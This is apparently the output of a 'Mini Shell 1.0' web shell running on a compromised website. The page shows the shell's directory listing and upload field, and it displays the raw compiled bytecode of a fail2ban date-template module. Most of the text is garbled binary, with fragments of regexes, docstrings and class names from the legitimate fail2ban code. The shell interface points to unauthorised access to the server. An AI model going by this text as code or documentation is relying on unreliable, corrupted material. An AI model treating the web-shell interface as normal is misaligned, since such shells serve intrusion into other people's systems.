HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/fail2ban/server/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/fail2ban/server/__pycache__/datetemplate.cpython-311.pyc
�

G�kc�1���dZdZdZddlZddlZddlmZddlmZm	Z	m
Z
dd	lmZee
��Zejd
��Zejd��dfZejd
��Zejd��Zejd��Zejd��Zejd��Zejd��Zejd��Zejd��d�fZejd��Zejd��Zejd��Zejdej��ZGd�de��Z Gd�de ��Z!Gd�de ��Z"Gd �d!e ��Z#dS)"z
Cyril Jaquierz Copyright (c) 2004 Cyril Jaquier�GPL�N)�abstractmethod�)�reGroupDictStrptime�timeRE�getTimePatternRE�)�	getLoggerz(?<!(?:\(\?))(?<!\\)\((?!\?)z-^((?:\(\?\w+\))?\^?(?:\(\?\w+\))?)(.*?)(\$?)$z\1(\2)\3z((?:^|(?!<\\))\(\?[a-z]+\))z^\{UNB\}z
^\{\^LN-BEG\}z^\((?:\?:)?\^\|\\b\|\\W\)z\(\?=\\b\|\\W\|\$\)$z-^\(*(?:\(\?\w+\))?(?:\^|\(*\*\*|\((?:\?:)?\^)z!(?<!\\)(?:\$\)?|\\b|\\s|\*\*\)*)$z)^\(*(?:\(\?\w+\))?\(*\*\*|(?<!\\)\*\*\)*$c�R�|����dd��S)Nz**�)�group�replace)�ms �>/usr/lib/python3/dist-packages/fail2ban/server/datetemplate.py�<lambda>r/s��q�w�w�y�y�0�0��r�:�:��z(^(?:\(\?\w+\))?(?:\^|\((?:\?:)?\^(?!\|))z(?<![\\\|])(?:\$\)?)$z(?<!\%)\%[aAbBpc]z(?<!\\)\{L?EPOCH\}c��eZdZdZdZdZdZdZd�Zd�Z	dd	�Z
ee	e
d
���Zd�Z
d
�Zedd���Zed���ZdS)�DateTemplatez�A template which searches for and returns a date from a log line.

	This is an not functional abstract class which other templates should
	inherit from.

	Attributes
	----------
	name
	regex
	��r	rc�h�d|_d|_d|_d|_d|_d|_d|_dS)Nrg�?r)�name�weight�flags�hits�time�_regex�_cRegex��selfs r�__init__zDateTemplate.__init__Js7���$�)��$�+��$�*��$�)��$�)��$�+��$�,�,�,rc��|jS�N)rrs r�getRegexzDateTemplate.getRegexSs
��	
��rTc��|���}t�|��}|rt�d|d���}|ot�|��}|ot
�|��}t�|��s,td�td|��}d|_|rf|xj|dkrtj
ntjzc_|dkrd|z}n.d|z}|j�
d��sd|jz|_|r|xjtjzc_|d	z
}|jtjzs4t�|��r|xjtjzc_|jtjzs4t"�|��r|xjtjzc_t$d�t$d|��}|r|�d��|z}||_t*�d
d|��d|_dS)
a�Sets regex to use for searching for date in log line.

		Parameters
		----------
		regex : str
			The regex the template will use for searching for a date.
		wordBegin : bool
			Defines whether the regex should be modified to search at beginning of a
			word, by adding special boundary r'(?=^|\b|\W)' to start of regex.
			Can be disabled with specifying of ** at front of regex.
			Default True.
		wordEnd : bool
			Defines whether the regex should be modified to search at end of a word,
			by adding special boundary r'(?=\b|\W|$)' to end of regex.
			Can be disabled with specifying of ** at end of regex.
			Default True.

		Raises
		------
		re.error
			If regular expression fails to compile
		rr)�countr�startz(?=^|\b|\W)z
^(?:\W{0,2})?z	{^LN-BEG}z(?=\b|\W|$)rz  constructed regex %sN)�strip�RE_GLOBALFLAGS�search�sub�RE_NO_WRD_BOUND_BEG�RE_NO_WRD_BOUND_END�
RE_GROUPED�RE_GROUPrr�
WORD_BEGIN�
LINE_BEGINr�
startswith�WORD_END�RE_LINE_BOUND_BEG�LINE_END�RE_LINE_BOUND_END�RE_DEL_WRD_BOUNDSr
r�logSys�logr)r �regex�	wordBegin�wordEnd�gf�
boundBegin�boundEnds       r�setRegexzDateTemplate.setRegexVs*��6�+�+�-�-�%����U�#�#�"��2����b�%�q��1�1�5��B�!4�!;�!;�E�!B�!B�B�*�
�
>�0�7�7��>�>�>�(�	�	�	�5�	!�	!�/��A�;�?�?�8�A�;��.�.�5��$�*��)��:�:�I��,@�,@��(�(�l�F]�]�:�:��7����U�"�E�E��u�$�E��9����,�,�)��t�y�(�T�Y�
���:�:��&�&�:�:��N��5�
�*�|�.�
.�)�4E�4L�4L�U�4S�4S�)��:�:��(�(�:�:�
�*�|�,�
,�'�2C�2J�2J�5�2Q�2Q�'��:�:��&�&�:�:�
�A�
�
"�
"�#4�Q�#7��
?�
?�%���
�8�8�A�;�;���5��$�+��*�*�Q�(�%�0�0�0��$�,�,�,rz!Regex used to search for date.
		)�docc���|js[	tj|j��|_dS#t$r-}t
�d|j|j��|�d}~wwxYwdS)z Compile regex by first usage.
		z Compile %r failed, expression %rN)r�re�compiler:�	Exceptionr8�errorr)r �es  r�
_compileRegexzDateTemplate._compileRegex�ss��
�����:�d�j�)�)�D�L�L�L��
����
�L�L�3�T�Y��
�K�K�K�
�G���������	�s�)�
A �(A�A c���|js|���t�dd|j��|jj|g|�R�}|r|xjdz
c_|S)z1Check if regex for date matches on a log line.
		rz   search %sr)rrHr8r9r:r*r)r �line�args�	dateMatchs    r�	matchDatezDateTemplate.matchDate�sq��
����������*�*�Q���
�+�+�+�!�d�l�!�$�.��.�.�.�)����9�9��>�9�9�	�rNc� �td���)aQAbstract method, which should return the date for a log line

		This should return the date for a log line, typically taking the
		date from the part of the line which matched the templates regex.
		This requires abstraction, therefore just raises exception.

		Parameters
		----------
		line : str
			Log line, of which the date should be extracted from.
		default_tz: if no explicit time zone is present in the line
                            passing this will interpret it as in that time zone.

		Raises
		------
		NotImplementedError
			Abstract method, therefore always returns this.
		zgetDate() is abstract)�NotImplementedError�r rJrL�
default_tzs    r�getDatezDateTemplate.getDate�s��(	�3�4�4�4rc
���t�dt�dt�dt�d|��������S)Nr)�RE_EXEANC_BOUND_BEGr+�RE_EXSANC_BOUND_BEG�RE_EXLINE_BOUND_BEG�RE_EXLINE_NO_BOUNDS)�patterns r�unboundPatternzDateTemplate.unboundPattern�sU��	�	 �	 �����2����B� 3� 7� 7��G� D� D�E�E���
�
�r�TT�NN)�__name__�
__module__�__qualname__�__doc__r1r5r0r3r!r$r@�propertyr:rHrMrrR�staticmethodrY�rrrr9s�������	�	���������������>�>�>�>�@
��(�H��
�
�
��	�	�	�
�
�
��5�5�5��.�5�*����,���rrc�"�eZdZdZdd�Zdd�ZdS)�	DateEpochz�A date template which searches for Unix timestamps.

	This includes Unix timestamps which appear at start of a line, optionally
	within square braces (nsd), or on SELinux audit log lines.

	Attributes
	----------
	name
	regex
	FNc���t�|��|sdn||_||_d|_d�|r
|sdn||_d�|rBdt
��fd�|��zdz}d	|_|�|��dS|sd
�z}|�|d���dSd
�z}|�|dd���dS)N�Epochrz\d{10,11}\b(?:\.\d{3,6})?�	LongEpochz'\d{10,11}(?:\d{3}(?:\.\d{1,6}|\d{3})?)?�(c���d�zS)Nz(%s)rb)�v�epochREs �rrz$DateEpoch.__init__.<locals>.<lambda>�s�����0@�r�)r	zf((?:^|(?P<square>(?<=^\[))|(?P<selinux>(?<=\baudit\()))%s)(?:(?(selinux)(?=:\d+\)))|(?(square)(?=\])))F�r;z*((?P<square>(?<=^\[))?%s)(?(square)(?=\]))r'T)r;r<)rr!r�_longFrm�_grpIdx�RE_EPOCH_PATTERNr+r@)r �
lineBeginOnlyrX�longFrmr:rks     @rr!zDateEpoch.__init__�s�����������$�1�g�g�'�$�)��$�-��$�,�(�'��8�")�6�{�{�w�4�9�
7�7��
9��!�%�%�&@�&@�&@�&@�'�J�J�J�S�P�5��4�<��=�=��������9�t�w~�~�5��=�=��%�=�(�(�(�(�(�8�7�B�5��=�=��'�4�=�8�8�8�8�8rc�:�|s|�|��}|r�|�|j��}|jrOt	|��dkr<t	|��dkrd|vrt|��dz}nt|��dz}t|��|fSdS)axMethod to return the date for a log line.

		Parameters
		----------
		line : str
			Log line, of which the date should be extracted from.
		default_tz: ignored, Unix timestamps are time zone independent

		Returns
		-------
		(float, str)
			Tuple containing a Unix timestamp, and the string of the date
			which was matched and in turned used to calculated the timestamp.
		�
��.i@Bi�N)rMr
rorn�len�float)r rJrLrQrjs     rrRzDateEpoch.getDate�s���
�$��~�~�d�#�#�9�� ����t�|�$�$�1�
�m���A���"���
�1�v�v��|�|��1���	�q���G�	�Q�Q�	�q���D��Q���8�8�Y�
�� � r)FNFr[�r\r]r^r_r!rRrbrrrdrd�sF������	�	�9�9�9�9�* � � � � � rrdc���eZdZdZe��\ZZeje��Zd	�fd�	Z	e
d���Zejd���Zd
�fd�	Z
dd�Z�xZS)�DatePatternRegexz�Date template, with regex/pattern

	Parameters
	----------
	pattern : str
		Sets the date templates pattern.

	Attributes
	----------
	name
	regex
	pattern
	Nc���tt|�����d|_|�|j|fi|��dSdSr#)�superr{r!�_patternr@)r rX�kwargs�	__class__s   �rr!zDatePatternRegex.__init__sU�����$���(�(�*�*�*��$�-����4�=��#�#�F�#�#�#�#�#��rc��|jS)aVThe pattern used for regex with strptime "%" time fields.

		This should be a valid regular expression, of which matching string
		will be extracted from the log line. strptime style "%" fields will
		be replaced by appropriate regular expressions, or custom regex
		groups with names as per the strptime fields can also be used
		instead.
		)r~rs rrXzDatePatternRegex.pattern%s��
��rc�0�|�|��dSr#)r@)r rXs  rrXzDatePatternRegex.pattern1s���-�-������rTc�D��||_t�|��rt�d|��}dx}}|r7t�|��rt�d|��}d}	|j�d|��}||jz|_|tz}t�|��rd|z}tt|���|||��dS#t$r}td|�d|�����d}~wwxYw)NrFr'z%(\1)sz(?iu)zFailed to set datepattern 'z8' (may be an invalid format or unescaped percent char): )r~rWr*r+rV�
_patternRE�_patternNamerr�RE_ALPHA_PATTERNr}r{r@rE�	TypeError)r rXr;r<�fmtr:rGr�s       �rr@zDatePatternRegex.setRegex5s8����$�-�����(�(��
 �
$�
$�R��
1�
1�7���9�w���&�-�-�g�6�6��
 �
$�
$�R��
1�
1�7��9�
}�	
��	�	�Y��	0�	0�3��T�&�&�4�9���<�5����g�&�&���u��E��	�4� � �)�)�%��G�D�D�D�D�D��	�}�}�}�	��pw�pw�pw�yz�yz�{�	|�	|�|�����}���s�<A=C;�;
D�D�Dc��|s|�|��}|r%t|���|���|fSdS)a�Method to return the date for a log line.

		This uses a custom version of strptime, using the named groups
		from the instances `pattern` property.

		Parameters
		----------
		line : str
			Log line, of which the date should be extracted from.
		default_tz: optionally used to correct timezone

		Returns
		-------
		(float, str)
			Tuple containing a Unix timestamp, and the string of the date
			which was matched and in turned used to calculated the timestamp.
		)rQN)rMr�	groupdictrPs    rrRzDatePatternRegex.getDateLsX��$
�$��~�~�d�#�#�9����y�2�2�4�4��L�L�L�
����rr#rZr[)r\r]r^r_rr�r�rCrDr!r`rX�setterr@rR�
__classcell__)r�s@rr{r{
s����������-�,�.�.���\��b�j��$�$��$�$�$�$�$�$��	�	��(�	�
�.����.��}�}�}�}�}�}�.�������rr{c�"�eZdZdZdd�Zdd�ZdS)�
DateTai64nz`A date template which matches TAI64N formate timestamps.

	Attributes
	----------
	name
	regex
	Fc�v�t�|��d|_|�d|���dS)N�TAI64Nz
@[0-9a-f]{24}rm)rr!rr@)r r;s  rr!zDateTai64n.__init__ns9����������$�)��-�-��9�-�5�5�5�5�5rNc��|s|�|��}|r1|�d��}|dd�}t|d��|fSdS)aqMethod to return the date for a log line.

		Parameters
		----------
		line : str
			Log line, of which the date should be extracted from.
		default_tz: ignored, since TAI is time zone independent

		Returns
		-------
		(float, str)
			Tuple containing a Unix timestamp, and the string of the date
			which was matched and in turned used to calculated the timestamp.
		rr	�ruN)rMr
�int)r rJrLrQ�value�seconds_since_epochs      rrRzDateTai64n.getDatetsd��
�$��~�~�d�#�#�9��4��?�?�1���5��q��t����"�B�'�'��
3�3�4�4r)Fr[ryrbrrr�r�esF��������6�6�6�6�4�4�4�4�4�4rr�)$�
__author__�
__copyright__�__license__rCr�abcr�strptimerrr�helpersr
r\r8rDr.r/r)rWrVrUrTr,r-r7r4r6r��
IGNORECASErp�objectrrdr{r�rbrr�<module>r�s[��.�
�2�
�����������������C�C�C�C�C�C�C�C�C�C�������	��8�	�	���R�Z�7�
8�
8�
�
�R�Z�H�
I�
I�;�X�����:�;�;�� �b�j��-�-�� �b�j�!1�2�2�� �b�j�!=�>�>�� �b�j�!8�9�9�� �b�j�!Q�R�R�� �b�j�!E�F�F�� �b�j�!M�N�N�:�:�=���B�J�J�K�K���B�J�7�8�8���2�:�2�3�3���2�:�3�R�]�C�C��T�T�T�T�T�6�T�T�T�n: �: �: �: �: ��: �: �: �zU�U�U�U�U�|�U�U�U�p%4�%4�%4�%4�%4��%4�%4�%4�%4�%4r